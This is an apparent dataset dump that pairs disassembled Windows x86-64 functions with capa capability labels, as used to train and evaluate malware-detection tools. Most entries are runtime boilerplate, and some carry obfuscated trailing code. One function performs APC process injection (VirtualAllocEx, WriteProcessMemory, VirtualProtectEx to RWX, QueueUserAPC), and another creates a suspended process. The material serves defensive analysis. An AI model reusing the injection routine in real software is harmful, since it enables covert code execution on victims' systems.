joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2fc56753c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc5675ba
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc5675b1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc5675b1
mov rax, qword [rbp - 8]
jmp 0x2fc5675cf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc567584
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d6750
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4d7830
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4d7152
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f9108]
test eax, eax
je 0x2fc4d71ea
lea rax, [0x2fc4f90e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f9110]
mov qword [rbp - 8], rax
jmp 0x2fc4d71ce
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d71c2
cmp qword [rbp - 0x10], 0
je 0x2fc4d71c2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d7188
lea rax, [0x2fc4f90e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d71eb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d72f0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d7318
mov eax, 0
jmp 0x2fc4d7366
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d7341
mov eax, 0
jmp 0x2fc4d7366
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d7361
mov eax, 0
jmp 0x2fc4d7366
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d736c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d73ea
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d73e1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d73e1
mov rax, qword [rbp - 8]
jmp 0x2fc4d73ff
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d73b4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140002120
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x140002141
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000216e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140002170
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x1400021c9
test ecx, ecx
jle 0x1400021a9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x1400021c9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x1400021c9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
test r14b, 0x2f
neg edx
cmc
cmp ebp, r13d
add edx, 0x23962212
cmp ah, 0x95
clc
cmp r14, rcx
push r8
rcl r8d, cl
sar r8b, 0xc7
rcr r8w, cl
xor dword [rsp], edx
add r8w, 0x5330
shld r8w, si, 0xe5
pop r8
cmp r15b, cl
test cl, r14b
cmc
movsxd rdx, edx
test rsi, rax
add r11, rdx
jmp 0x1400fc69b
push r11
ret
lea r10, [rsp + 0x140]
cmp rdi, r10
jmp 0x140083dcf
ja 0x14005fba5
mov r10, rsp
movabs rcx, 0x100
adc sil, 0xe2
shr sil, 0xd6
sbb ebp, 0x6523e3e
lea rbp, [rdi + riz - 0x80]
sar rsi, cl
shl esi, 0x70
movzx rsi, bx
and rbp, 0xfffffffffffffff0
sub rbp, rcx
mov rsp, rbp
push rdi
movzx rsi, bp
pushfq
mov rsi, r10
xchg edi, edi
mov rdi, rbp
jmp 0x1400ffc10
pop rdi
jmp 0x14005fba5
rep movsb byte [rdi], byte [rsi]
movzx rdi, r8w
popfq
jmp 0x1400a7244
jmp 0x140064843
cld
jmp 0x1400b129c
Function at 0x1400021f0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140002221
xor eax, eax
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
je case.default.0x140002238
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x30], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14000225b
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000225d
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140002299
mov qword [rsp + 0x38], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x38]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14000232e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x1400022d4
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000230e
nop dword [rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14000232e
cmp rbx, rax
ja 0x1400022e0
test rbx, rbx
je 0x14000232e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
mov rsi, qword [rsp + 0x48]
sub rbp, rbx
mov rbx, qword [rsp + 0x30]
mov rax, rbp
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
or eax, edi
stc
xor ecx, edi
inc ecx
ror ecx, 2
jmp 0x14004e193
not ecx
push rdi
xor di, 0xf00
xor dword [rsp], ecx
pop rdi
test bp, 0x2fd
movsxd rcx, ecx
test r12b, sil
cmc
add rbp, rcx
jmp 0x1400d5930
sub ecx, 0x7ef96670
rol ecx, 3
jmp 0x140035cb2
jmp rbp
cld
jmp 0x1400ca185
rep movsb byte [rdi], byte [rsi]
shr dil, 0x27
popfq
movzx rdi, bx
pop rdi
jmp 0x1400bbbe8
jmp 0x1400eea5e
lea r8, [rsp + 0x140]
test rcx, rsp
cmp r11, r8
ja 0x1400bbbe8
mov rax, rsp
btr cx, r12w
rcr sil, cl
movabs rcx, 0x100
cwd
stc
xchg dl, dl
lea rdx, [r11 + riz - 0x80]
sal sil, cl
not sil
adc rsi, 0x6b330cc4
and rdx, 0xfffffffffffffff0
sub sil, 0x7a
movzx si, r13b
btc rsi, 0xa3
sub rdx, rcx
movsx si, cl
mov rsp, rdx
push rdi
cmovs di, r10w
movzx si, bpl
movsxd rsi, esi
pushfq
mov rdi, 0x79d91b7b
bswap rsi
mov rsi, rax
movzx edi, r10w
mov rdi, rdx
jmp 0x1400c9ef0
Function at 0x2fc53d870
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc53e950
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc53e272
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc560108]
test eax, eax
je 0x2fc53e30a
lea rax, [0x2fc5600e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc560110]
mov qword [rbp - 8], rax
jmp 0x2fc53e2ee
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc53e2e2
cmp qword [rbp - 0x10], 0
je 0x2fc53e2e2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc53e2a8
lea rax, [0x2fc5600e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc53e30b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc53e410
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc53e438
mov eax, 0
jmp 0x2fc53e486
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc53e461
mov eax, 0
jmp 0x2fc53e486
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc53e481
mov eax, 0
jmp 0x2fc53e486
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc53e48c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc53e50a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc53e501
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc53e501
mov rax, qword [rbp - 8]
jmp 0x2fc53e51f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc53e4d4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001154
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x1c], 0x30
mov eax, dword [rbp - 0x1c]
mov rax, qword gs:[rax]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax + 8]
mov qword [rbp - 0x18], rax
mov dword [rbp - 4], 0
jmp 0x1400011ac
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp - 0x18]
jne 0x14000119e
mov dword [rbp - 4], 1
jmp 0x1400011e3
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [0x140005710]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
lock cmpxchg qword [rdx], rcx
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x14000118b
mov rax, qword [0x140005720]
mov eax, dword [rax]
cmp eax, 1
jne 0x1400011fd
mov ecx, 0x1f
call sym._amsg_exit
jmp 0x14000123c
mov rax, qword [0x140005720]
mov eax, dword [rax]
test eax, eax
jne 0x140001232
mov rax, qword [0x140005720]
mov dword [rax], 1
mov rax, qword [0x140005760]
mov rdx, rax
mov rax, qword [0x140005750]
mov rcx, rax
call sym._initterm
jmp 0x14000123c
mov dword [0x14000a024], 1
mov rax, qword [0x140005720]
mov eax, dword [rax]
cmp eax, 1
jne 0x140001270
mov rax, qword [0x140005740]
mov rdx, rax
mov rax, qword [0x140005730]
mov rcx, rax
call sym._initterm
mov rax, qword [0x140005720]
mov dword [rax], 2
cmp dword [rbp - 4], 0
jne 0x140001294
mov rax, qword [0x140005710]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
xchg qword [rax], rdx
mov rax, qword [0x140005660]
mov rax, qword [rax]
test rax, rax
je 0x1400012bf
mov rax, qword [0x140005660]
mov rax, qword [rax]
mov r8d, 0
mov edx, 2
mov ecx, 0
call rax
call sym._pei386_runtime_relocator
mov rax, qword [sym._gnu_exception_handler]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call rax
mov rdx, qword [0x140005700]
mov qword [rdx], rax
lea rax, [sym.__mingw_invalidParameterHandler]
mov rcx, rax
call sym._set_invalid_parameter_handler
call sym._fpreset
mov eax, dword [0x14000a004]
lea rdx, [0x14000a008]
mov ecx, eax
call sym.duplicate_ppstrings
call sym.__main
mov rax, qword [0x140005690]
mov rax, qword [rax]
mov rdx, qword [0x14000a010]
mov qword [rax], rdx
mov rcx, qword [0x14000a010]
mov rdx, qword [0x14000a008]
mov eax, dword [0x14000a004]
mov r8, rcx
mov ecx, eax
call sym.main
mov dword [0x14000a01c], eax
mov eax, dword [0x14000a020]
test eax, eax
jne 0x14000135d
mov eax, dword [0x14000a01c]
mov ecx, eax
call sym.exit
mov eax, dword [0x14000a024]
test eax, eax
jne 0x14000136c
call sym._cexit
mov eax, dword [0x14000a01c]
add rsp, 0x70
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x1400056c0]
mov dword [rax], 1
mov rax, qword [0x1400056d0]
mov dword [rax], 1
mov rax, qword [0x1400056e0]
mov dword [rax], 1
mov rax, qword [0x140005680]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400016d0
Capabilities:
Allocate or change rwx memory
Inject apc

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov rsi, rdx
mov rdi, r9
mov dword [rsp + 0x3c], 0
xor edx, edx
mov dword [rsp + 0x20], 4
mov r12, rcx
mov rbp, r8
mov r9d, 0x3000
mov r8, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x1400017c0
mov r9, rdi
mov r8, rbp
mov rdx, rax
mov rcx, rsi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001780
lea rax, [rsp + 0x3c]
mov r8, rdi
mov rdx, rbx
mov rcx, rsi
mov qword [rsp + 0x20], rax
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x1400017a8
mov rdx, r12
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov edx, eax
mov eax, 1
test edx, edx
je 0x1400017e0
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._t____WriteProcessMemory_Failed_With_Error_:__d__n
mov edx, eax
call sym.printf
xor eax, eax
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._t____VirtualProtect_Failed_With_Error_:__d__n
mov edx, eax
call sym.printf
xor eax, eax
jmp 0x140001796
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._t____VirtualAlloc_Failed_With_Error_:__d__n
mov edx, eax
call sym.printf
xor eax, eax
jmp 0x140001796
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._t____QueueUserAPC_Failed_With_Error_:__d__n
mov edx, eax
call sym.printf
xor eax, eax
jmp 0x140001796
Function at 0x140001800
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xe8
xor eax, eax
pxor xmm0, xmm0
mov r10, rcx
lea rdi, [rsp + 0x78]
mov ecx, 0xc
mov rbp, rdx
mov qword [rsp + 0x74], 0
mov rbx, r8
mov rsi, r9
xor r8d, r8d
mov qword [rsp + 0xd0], 0
xor r9d, r9d
mov rdx, r10
rep stosq qword [rdi], rax
lea rax, [rsp + 0x50]
movaps xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x70], 0x68
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400018f0
mov rdx, qword [rsp + 0x50]
mov eax, dword [rsp + 0x60]
mov dword [rbp], eax
mov qword [rbx], rdx
mov rdx, qword [rsp + 0x58]
mov qword [rsi], rdx
test eax, eax
jne 0x1400018d0
xor eax, eax
add rsp, 0xe8
pop rbx
pop rsi
pop rdi
pop rbp
ret
cmp qword [rbx], 0
setne cl
xor eax, eax
test rdx, rdx
setne al
and eax, ecx
add rsp, 0xe8
pop rbx
pop rsi
pop rdi
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____CreateProcessA_Failed_with_Error_:__d__n
mov edx, eax
call sym.printf
jmp 0x1400018b9

Function at 0x140001e70
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x140002b42
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14000a288]
test eax, eax
je 0x140002bda
lea rax, [0x14000a260]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14000a290]
mov qword [rbp - 8], rax
jmp 0x140002bbe
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002bb2
cmp qword [rbp - 0x10], 0
je 0x140002bb2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002b78
lea rax, [0x14000a260]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140002bdb
nop
add rsp, 0x30
pop rbp
ret
Function at 0x140002ce0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140002d08
mov eax, 0
jmp 0x140002d56
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140002d31
mov eax, 0
jmp 0x140002d56
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140002d51
mov eax, 0
jmp 0x140002d56
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x140002d5c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140002dda
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140002dd1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140002dd1
mov rax, qword [rbp - 8]
jmp 0x140002def
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140002da4
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400036c0
Capabilities:
Resume thread

Disassembly:
push rbx
sub rsp, 0x40
call sym.__main
